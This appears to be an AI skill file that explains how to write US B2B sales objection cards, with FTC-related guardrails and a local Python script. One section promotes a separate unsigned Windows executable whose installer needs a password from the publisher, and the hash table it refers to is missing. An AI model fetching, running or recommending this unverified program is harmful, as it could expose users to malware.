Objection Handling Cards

Turns the objections buyers actually raise into short US cards with an answer, a proof point and the question that moves the deal on. Written for US B2B reps and sales engineers who handle price and timing objections.

Use this skill when someone asks for:

• objection handling cards
• sales objection responses
• price objection script
• sales objection cheat sheet

The job

Reps either argue with the buyer's objection or freeze, and the objection gets repeated in a way the product cannot deliver.

What you get

1. Collect the objections from real call notes and closed-lost reasons.
2. Split each one into what the buyer said and what it really means underneath.
3. Write the card in four beats: acknowledge, answer, prove, question.
4. Mark the claims that need a source and the phrases that would create a promise.

Output contract:

• cards - one card per objection, starting with the buyer's own words
• answer - a short answer with no argument tone and no adjectives
• proof - the evidence to cite, or the note that it does not exist yet
• do_not_say - the phrases that would turn an answer into a promise

US specifics that matter

• The Magnuson-Moss Warranty Act governs written warranties on consumer products, and FTC rules require a warranty to be labeled full or limited with its terms disclosed.
• A written lifetime warranty must disclose the specific life of the product under 16 CFR 239.
• The FTC Endorsement Guides at 16 CFR Part 255 treat a customer quote that goes beyond the customer's own opinion as an endorsement that needs disclosure.
• A money-back promise or a savings claim is a factual representation under Section 5 of the FTC Act.

Guardrails (hard rules)

• Never write a guarantee, a refund promise or a delivery date the company has not approved.
• Never argue with the buyer or dismiss the objection inside the card.
• Never invent a customer, a statistic or a comparison for the proof line.
• Never compare the product to a named competitor without a documented like-for-like basis.

Quickstart

1. Fill in the brief

templates/objection-cards.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_objection_cards.py --input objection-cards.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/objection-card-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Card structure

• What the buyer said, in their words, on one line.
• What it means underneath, so the rep knows the real question.
• The answer, two sentences maximum, no adjectives.
• The proof: a document, a case study or a written policy the company already has.

Claims that need a legal read

• Any money-back, performance or savings promise in the card.
• Any warranty wording, especially lifetime or unconditional.
• Any comparison against a named competitor.
• Any statement about compliance, uptime or delivery date.

Tone

• Acknowledge before answering: that is fair, many teams hit it.
• Never say never, always or guaranteed.
• End with a question so the buyer keeps talking.
• Say what you do not know instead of filling the gap.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/objection-card-rules.md - Writing US objection cards that survive a legal read
• templates/objection-cards.yaml - the brief to fill in
• scripts/build_objection_cards.py - the working script

Verify the bundle

python3 scripts/build_objection_cards.py --input objection-cards.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.